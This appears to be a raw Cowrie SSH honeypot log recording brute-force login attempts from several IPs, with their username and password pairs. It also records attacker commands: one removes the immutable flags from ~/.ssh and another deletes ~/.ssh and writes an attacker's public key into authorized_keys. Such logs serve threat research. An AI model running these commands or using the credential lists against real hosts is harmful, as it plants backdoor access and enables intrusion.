{"eventid":"cowrie.session.connect","src_ip":"82.153.157.222","src_port":56946,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee342c51ffb0","protocol":"ssh","message":"New connection: 82.153.157.222:56946 (10.17.0.5:22) [session: ee342c51ffb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:26.987863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:26.992360Z","src_ip":"82.153.157.222","session":"ee342c51ffb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:27.082555Z","src_ip":"82.153.157.222","session":"ee342c51ffb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":39340,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2d1ebfce44f","protocol":"ssh","message":"New connection: 34.81.72.185:39340 (159.203.135.109:22) [session: f2d1ebfce44f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:27.402164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:27.407114Z","src_ip":"34.81.72.185","session":"f2d1ebfce44f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root2025","message":"login attempt [root/root2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:27.472654Z","src_ip":"82.153.157.222","session":"ee342c51ffb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:27.601394Z","src_ip":"34.81.72.185","session":"f2d1ebfce44f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:27.688944Z","src_ip":"82.153.157.222","session":"ee342c51ffb0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:27.692388Z","src_ip":"82.153.157.222","session":"ee342c51ffb0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:27.696129Z","src_ip":"82.153.157.222","session":"ee342c51ffb0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:27.789002Z","src_ip":"82.153.157.222","session":"ee342c51ffb0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:28.003653Z","src_ip":"82.153.157.222","session":"ee342c51ffb0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:28.006393Z","src_ip":"82.153.157.222","session":"ee342c51ffb0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:28.100690Z","src_ip":"82.153.157.222","session":"ee342c51ffb0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:28.104627Z","src_ip":"82.153.157.222","session":"ee342c51ffb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.153.157.222","src_port":56950,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0ba6e4ea809","protocol":"ssh","message":"New connection: 82.153.157.222:56950 (10.17.0.5:22) [session: a0ba6e4ea809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:28.190315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:28.195112Z","src_ip":"82.153.157.222","session":"a0ba6e4ea809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:28.288569Z","src_ip":"82.153.157.222","session":"a0ba6e4ea809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jonathan","password":"jonathanpassword","message":"login attempt [jonathan/jonathanpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:28.402910Z","src_ip":"34.81.72.185","session":"f2d1ebfce44f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:28.694548Z","src_ip":"82.153.157.222","session":"a0ba6e4ea809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:29.598441Z","src_ip":"34.81.72.185","session":"f2d1ebfce44f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:29.789657Z","src_ip":"82.153.157.222","session":"a0ba6e4ea809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.153.157.222","src_port":56952,"dst_ip":"10.17.0.5","dst_port":22,"session":"a730a9224bc4","protocol":"ssh","message":"New connection: 82.153.157.222:56952 (10.17.0.5:22) [session: a730a9224bc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:29.875007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:29.878475Z","src_ip":"82.153.157.222","session":"a730a9224bc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:29.967431Z","src_ip":"82.153.157.222","session":"a730a9224bc4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:30.358761Z","src_ip":"82.153.157.222","session":"a730a9224bc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:30.550253Z","src_ip":"82.153.157.222","session":"ee342c51ffb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:30.553797Z","src_ip":"82.153.157.222","session":"a730a9224bc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.204.171.142","src_port":35420,"dst_ip":"10.17.0.5","dst_port":22,"session":"d92c2108f2ba","protocol":"ssh","message":"New connection: 121.204.171.142:35420 (10.17.0.5:22) [session: d92c2108f2ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:39.710874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:39.714706Z","src_ip":"121.204.171.142","session":"d92c2108f2ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:39.951079Z","src_ip":"121.204.171.142","session":"d92c2108f2ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"12345","message":"login attempt [vyos/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:40.929465Z","src_ip":"121.204.171.142","session":"d92c2108f2ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:42.166920Z","src_ip":"121.204.171.142","session":"d92c2108f2ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.255.212","src_port":53228,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c459e2bbda2","protocol":"ssh","message":"New connection: 209.38.255.212:53228 (10.17.0.5:22) [session: 2c459e2bbda2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:50.691465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:50.695416Z","src_ip":"209.38.255.212","session":"2c459e2bbda2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:50.776499Z","src_ip":"209.38.255.212","session":"2c459e2bbda2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ssl","password":"ssl123!","message":"login attempt [ssl/ssl123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:51.134046Z","src_ip":"209.38.255.212","session":"2c459e2bbda2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.238.246.148","src_port":38018,"dst_ip":"10.17.0.5","dst_port":22,"session":"fab4495b65d9","protocol":"ssh","message":"New connection: 156.238.246.148:38018 (10.17.0.5:22) [session: fab4495b65d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:51.565903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:51.569966Z","src_ip":"156.238.246.148","session":"fab4495b65d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:51.783504Z","src_ip":"156.238.246.148","session":"fab4495b65d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:52.218074Z","src_ip":"209.38.255.212","session":"2c459e2bbda2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"caonima123","message":"login attempt [root/caonima123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:52.672568Z","src_ip":"156.238.246.148","session":"fab4495b65d9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:53.135056Z","src_ip":"156.238.246.148","session":"fab4495b65d9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:53.138482Z","src_ip":"156.238.246.148","session":"fab4495b65d9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:53.142025Z","src_ip":"156.238.246.148","session":"fab4495b65d9","protocol":"ssh"}
